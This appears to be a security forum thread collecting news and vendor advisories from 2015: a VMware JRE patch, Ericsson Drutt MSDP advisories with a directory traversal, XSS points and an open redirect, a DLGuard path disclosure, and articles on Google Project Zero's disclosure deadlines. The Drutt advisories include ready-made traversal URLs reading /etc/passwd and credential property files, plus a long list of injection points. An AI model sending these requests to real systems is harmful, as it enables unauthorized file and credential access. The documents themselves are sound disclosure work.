Search the Community

Virtual Machine maker VMware has updated a slew of its offerings in order to address a critical information disclosure vulnerability in the Oracle’s Java runtime environment (JRE). The update essentially installs the latest version of JRE into VMware systems where the old version of JRE was affected by CVE-2014-6593. The newer JRE versions fix other bugs as well, but the Full Disclosure entry for VMware is only concerned with CVE-2014-6593, which could allow information disclosure inside certain VMware environments. VMware products operating on JRE 1.7 update 75 and newer and JRE 1.6 update 91 and newer are not impacted by this vulnerability. CVE-2014-6593 is also known as “SKIP” or “SKIP-TLS.” Affected VMware produicts include, Horizon View 6.x or 5.x, Horizon Workspace Portal Server 2.1 or 2.0, vCenter Operations Manager 5.8.x or 5.7.x, vCloud Automation Center 6.0.1, vSphere Replication prior to 5.8.0.2 or 5.6.0.3, vRealize Automation 6.2.x or 6.1.x, vRealize Code Stream 1.1 or 1.0, vRealize Hyperic 5.8.x, 5.7.x or 5.0.x, vSphere AppHA Prior to 1.1.x, vRealize Business Standard prior to 1.1.x or 1.0.x, NSX for Multi-Hypervisor prior to 4.2.4, vRealize Configuration Manager 5.7.x or 5.6.x and vRealize Infrastructure 5.8 or 5.7. The patch resolving this JRE issue is pending for a number of VMware products. You can find a list of mitigation options on the Full Disclosure mailing list. Source

Ericsson Drutt MSDP (Instance Monitor) Directory Traversal / File Access +------------------------------------------------------------------------------------------------------+ + Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal Vulnerability and Arbitrary File Access + +------------------------------------------------------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (Instance Monitor) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:L/Au:N/C:P/I:N/A:N CVE : CVE-2015-2166 Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system. +----------------------+ + Exploitation Details + +----------------------+ This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s): http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt/drutt/msdp/manager/conf/props/msdp-users.properties http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/drutt/msdp/manager/conf/ccContext.properties +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 12.Mar.2015 - Patches released 31.Mar.2015 - Public disclosure Ericsson Drutt MSDP (Report Viewer) Cross Site Scripting +----------------------------------------------------------------------+ + Ericsson Drutt MSDP (Report Viewer) - Cross Site Scripting Injection + +----------------------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (Report Viewer) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:N/C:N/I:P/A:N CVE : CVE-2015-2165 Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The Report Viewer component contains a vulnerability (at multiple user-supplied input points) that could allow an unauthenticated, remote attacker to execute arbitrary code in the user's browser session in the context of the affected site. +----------------------+ + Exploitation Details + +----------------------+ The vulnerable input points and respective URL paths are listed below: 1. http://<drutt:port>/reports/pages/top-links.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=clicks&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=&atype=[XSS]&atitle=[XSS] 2. http://<drutt:port>/reports/pages/page-summary.jsp?portal=[XSS]&uid=[XSS] 3. http://<drutt:port>/reports/pages/top-useragent-devices.jsp?portal=[XSS] 4. http://<drutt:port>/reports/pages/service-summary.jsp?portal=[XSS]&uid=[XSS] 5. http://<drutt:port>/reports/pages/top-useragent-devices.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=reqs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 6. http://<drutt:port>/reports/pages/top-interest-areas.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=urs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 7. http://<drutt:port>/reports/pages/top-message-services.jsp?interval=Y&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=urs&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 8. http://<drutt:port>/reports/pages/user-statistics.jsp?portal=[XSS]&interval=Y&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 9. http://<drutt:port>/reports/pages/message-shortcode-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]& usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=9397[XSS]&uid2=[XSS]&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=XSS 10. http://<drutt:port>/reports/pages/message-providers-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 11. http://<drutt:port>/reports/pages/license-summary.jsp?interval=D&fromDate=2015-02-11&toDate=2015-02-12&fromTime=00&toTime=00&usercategory=&orderBy=ival&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 12. http://<drutt:port>/reports/pages/top-web-pages.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 13. http://<drutt:port>/reports/pages/top-devices.jsp?portal=[XSS]&interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 14. http://<drutt:port>/reports/pages/top-pages.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 15. http://<drutt:port>/reports/pages/useragent-device-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=[XSS]&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 16. http://<drutt:port>/reports/pages/message-services-summary.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 17. http://<drutt:port>/reports/pages/top-message-providers.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 18. http://<drutt:port>/reports/pages/top-message-devices.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 19. http://<drutt:port>/reports/pages/top-message-assets.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 20. http://<drutt:port>/reports/pages/top-message-downloads.jsp?interval=M&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 21. http://<drutt:port>/reports/pages/top-message-shortcode.jsp?interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 22. http://<drutt:port>/reports/pages/request-summary.jsp?interval=D&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=ival&sortDirection=desc&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 23. http://<drutt:port>/reports/pages/link-summary-select.jsp?portal=[XSS] 24. http://<drutt:port>/reports/pages/link-summary.jsp?portal=[XSS]&interval=M&fromDate=2014-02&toDate=2015-02&fromTime=17&toTime=18&usercategory=&orderBy=ival&sortDirection=desc&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 25. http://<drutt:port>/reports/pages/session-summary.jsp?portal=[XSS]&show=a&interval=M&fromDate=2014-02[XSS]&toDate=2015-02[XSS]&fromTime=17[XSS]&toTime=18[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 26. http://<drutt:port>/reports/pages/provider-summary-select.jsp?portal=[XSS] 27. http://<drutt:port>/reports/pages/provider-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 28. http://<drutt:port>/reports/pages/top-providers.jsp?portal=[XSS] 29. http://<drutt:port>/reports/pages/module-summary-select.jsp?portal=[XSS] 30. http://<drutt:port>/reports/pages/module-summary.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&orderBy=[XSS]&sortDirection=[XSS]&uid=[XSS]&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 31. http://<drutt:port>/reports/pages/top-providers.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 32. http://<drutt:port>/reports/pages/top-modules.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] 33. http://<drutt:port>/reports/pages/top-services.jsp?portal=[XSS]&interval=H&fromDate=[XSS]&toDate=[XSS]&fromTime=[XSS]&toTime=[XSS]&usercategory=&top=10&sortOrder=asc&orderBy=[XSS]&sortDirection=[XSS]&uid=&uid2=&kword=[XSS]&uname=[XSS]&pname=[XSS]&sname=[XSS]&file=[XSS]&atype=[XSS]&atitle=[XSS] +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 31.Mar.2015 - Public disclosure Ericsson Drutt MSDP (3PI Manager) Cross Site Scripting +p-------------------------------------------------------------------+ + Ericsson Drutt MSDP (3PI Manager) - Cross Site Scripting Injection + +--------------------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (3PI Manager) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:N/C:N/I:P/A:N CVE : Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The 3PI Manager component contains a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary code in the user's browser session in the context of the affected site. +----------------------+ + Exploitation Details + +----------------------+ The vulnerable input point and respective URL path is listed below: http(s)://<drutt>:<port>/tpim/register.do POST Data: companyName=aaa&contactPersonName=secuid0&contactPersonEmail=[XSS]&contactPersonPhone=aa&comment=&send.pressed=Save +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 12.Mar.2015 - Patches released 31.Mar.2015 - Public disclosure Source Ericsson Drutt MSDP (3PI Manager) Open Redirect +------------------------------------------------------+ + Ericsson Drutt MSDP (3PI Manager) - Open Redirection + +------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (3PI Manager) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:M/Au:S/C:N/I:P/A:N CVE : CVE-2015-2167 Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The identified vulnerability affects the 3PI Manager component and allows remote attackers to redirect (authenticated) users to arbitrary web sites and conduct phishing attacks via unspecified vectors. +----------------------+ + Exploitation Details + +----------------------+ The vulnerable parameter and the respective URL path is listed below: http://<drutt>:<port>/jsp/start-3pi-manager.jsp?url=http://www.google.com +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 12.Mar.2015 - Patches released 31.Mar.2015 - Public disclosure

*DLGuard Full Path Disclosure (Information Leakage) Security Vulnerabilities* Exploit Title: DLGuard /index.php c parameter Full Path Disclosure Security Vulnerabilities Product: DLGuard Vendor: DLGuard Vulnerable Versions: v4.5 Tested Version: v4.5 Advisory Publication: Feb 18, 2015 Latest Update: Feb 18, 2015 Vulnerability Type: Information Exposure [CWE-200] CVE Reference: * Credit: Wang Jing [Mathematics, Nanyang Technological University, Singapore] *Advisory Details:* *(1) Vendor & Product Description:* *Vendor:* DLGuard *Product & Version:* DLGuard v4.5 *Vendor URL & Download:* DLGuard can be downloaded from here, http://www.dlguard.com/dlginfo/index.php *Product Introduction:* “DLGuard is a powerful, yet easy to use script that you simply upload to your website and then rest assured that your internet business is not only safe, but also much easier to manage, automating the tasks you just don't have the time for." "DLGuard supports the three types, or methods, of sale on the internet: <1>Single item sales (including bonus products!) <2>Multiple item sales <3>Membership websites" *(2) Vulnerability Details:* DLGuard has a security problem. It can be exploited by Full Path Disclosure attacks. *(2.1)* The first vulnerability occurs at “index.php” page with ""c" parameters of it. *References:* http://tetraph.com/security/full-path-disclosure-vulnerability/dlguard-full-path-disclosure-information-leakage-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/02/dlguard-full-path-disclosure.html -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/justqdjing Source

Google has adjusted the terms of its controversial Project Zero vulnerability scouting effort, loosening its 90-day disclosure policy somewhat to give companies a better chance of fixing their security bugs before they become public knowledge. Among the changes, Google says it will no longer disclose bugs on weekends and public holidays, and it will even offer software vendors a brief grace period to finish their patches, if they request one. Project Zero has drawn fire from software companies – most notably Microsoft – for disclosing critical vulnerabilities to the public exactly 90 days after it reports them to vendors, a policy that top Redmond security bod Chris Betz said "feels less like principles and more like a 'gotcha'." "What's right for Google is not always right for customers," Betz wrote in a blog post in January. "We urge Google to make protection of customers our collective primary goal." Mind you, it's only natural that Microsoft would be miffed. Among the bugs revealed by Project Zero so far are critical zero-day flaws in Windows that can potentially allow an attacker to gain full control of affected systems. Google's vulnerability disclosures often include proof-of-concept exploit code, meaning cyber-crooks have access to working exploits the minute Google's disclosure goes live. Still, Google seems to have heard Redmond's complaints. On Friday, the online ad-slinger said it would make changes to how Project Zero discloses flaws, but it stopped short of saying it would lengthen the 90-day deadline, noting that CERT's own deadline is even shorter. "We notify vendors of vulnerabilities immediately, with details shared in public with the defensive community after 90 days, or sooner if the vendor releases a fix," Google's security team wrote in a blog post. "We've chosen a middle-of-the-road deadline timeline and feel it's reasonably calibrated for the current state of the industry." Going forward, however, 90 days won't necessarily mean 90 days. For one thing, if the date of a patch disclosure deadline falls on a weekend or a public holiday, Google now says it will hold off on its disclosure until the next working day. What's more, the Chocolate Factory says it will extend the disclosure deadline by a grace period of up to 14 days, provided a vendor lets it know that a patch will be released on a specific date within the 14 days. "Public disclosure of an unpatched issue now only occurs if a deadline will be significantly missed," Google's post states. Google says it will also be sure to pre-assign CVE (Common Vulnerabilities and Exposure) numbers to bugs that go past their deadlines before it discloses them, to avoid confusion and help the public understand specific threats. But Redmond wasn't entirely satisfied with the changes, saying it would much rather see Google work more interactively with software vendors to apply patches. "When finders release proof-of-concept exploit code, or other information publically before a solution is in place, the risk of attacks against customers goes up," Microsoft's Betz told The Register in an emailed statement. "While it is positive to see aspects of disclosure practices adjust, we disagree with arbitrary deadlines because each security issue is unique and end-to-end update development and testing time varies." Google, meanwhile, said that an arbitrary deadline, albeit a nondiscriminatory one, is the best vendors can hope for. "As always, we reserve the right to bring deadlines forwards or backwards based on extreme circumstances," Google's security team said. "We remain committed to treating all vendors strictly equally." ® Sursa

Google’s unwavering vulnerability disclosure deadlines are the latest chapter in a decades-long debate about how to best inform affected users that there’s a security problem with their software. Since the start of the year, Google’s 90-day clock has most notably ticked down to zero on a trio of flaws in Microsoft products and two others in Apple’s OS X. And upon doing so, Google’s researchers shared with the world technical details and proof of concept code for each vulnerability. Proponents of Google’s policy will argue that 90 days is plenty of time for a vendor to address a “responsibly” disclosed vulnerability. Opponents argue that a zero day is a zero day, and in such cases, a greater cut of attackers has vital information for exploit building when the details are public. Google, being the giant that it is, threw more gasoline on the controversial fire when, with one of the Microsoft flaws, it refused to sit on the details reportedly for two more days until Microsoft said it would be ready with a patch. Today, Google announced several adjustments to its disclosure policy, one of them being a 14-day grace period afforded to vendors that inform Google before the expiration of the 90-day deadline that a patch is scheduled for release within the 14-day extension. “Public disclosure of an unpatched issue now only occurs if a deadline will be significantly missed (2 weeks+),” the Project Zero team said in its announcement. “As always, we reserve the right to bring deadlines forwards or backwards based on extreme circumstances. We remain committed to treating all vendors strictly equally,” the researchers wrote. “Google expects to be held to the same standard; in fact, Project Zero has bugs in the pipeline for Google products (Chrome and Android) and these are subject to the same deadline policy.” Google also announced that the first public mention of a vulnerability needs to include a CVE identifier and that Google will obtain a pre-assigned one for vulnerabilities that go past deadline. It also said that if a 90-day deadline expires on a weekend or a U.S. public holiday, the deadline will be extended to the next working day. “Putting everything together, we believe the policy updates are still strongly in line with our desire to improve industry response times to security bugs, but will result in softer landings for bugs marginally over deadline,” Google said. “Finally, we’d like to call on all researchers to adopt disclosure deadlines in some form, and feel free to use our policy verbatim if you find our data and reasoning compelling.” This should make some major vendors breathe a little easier. Microsoft, for its part, said that it disagrees with arbitrary deadlines because of the uniqueness of vulnerabilities and variables introduced during patch development and testing time. “We prioritize security updates based on the probability and impact to customers,” said Chris Betz, head of the Microsoft Security Response Center. “When finders publically disclose vulnerability information with exploit details, they are increasing the potential for attack for millions of customers.” Google isn’t the only major technology company with a disclosure deadline. HP’s Zero Day Initiative, one of the first vulnerability programs, has a 120-day deadline, while CERT at the Software Engineering Institute at Carnegie Mellon University, a DHS-sponsored organization, has a 45-day deadline. Deadlines ensure that vendors don’t sit on vulnerabilities for months, or years in some cases. “The idea of disclosure deadlines is an old one and in practice in a lot of organizations,” said Katie Moussouris, chief policy officer at HackerOne. “The idea behind it is that people are protected and risk is minimized by limiting the window of exposure caused by an unpatched vulnerability.” Google, meanwhile, made its case that its disclosure policies are working, with vulnerabilities patched consistently and quicker by most of the affected vendors. It says, for example, that Adobe has patched 37 vulnerabilities reported by Google inside of the 90-day deadline; 154 Project Zero vulnerabilities overall (85 percent) were fixed inside of 90 days. Sursa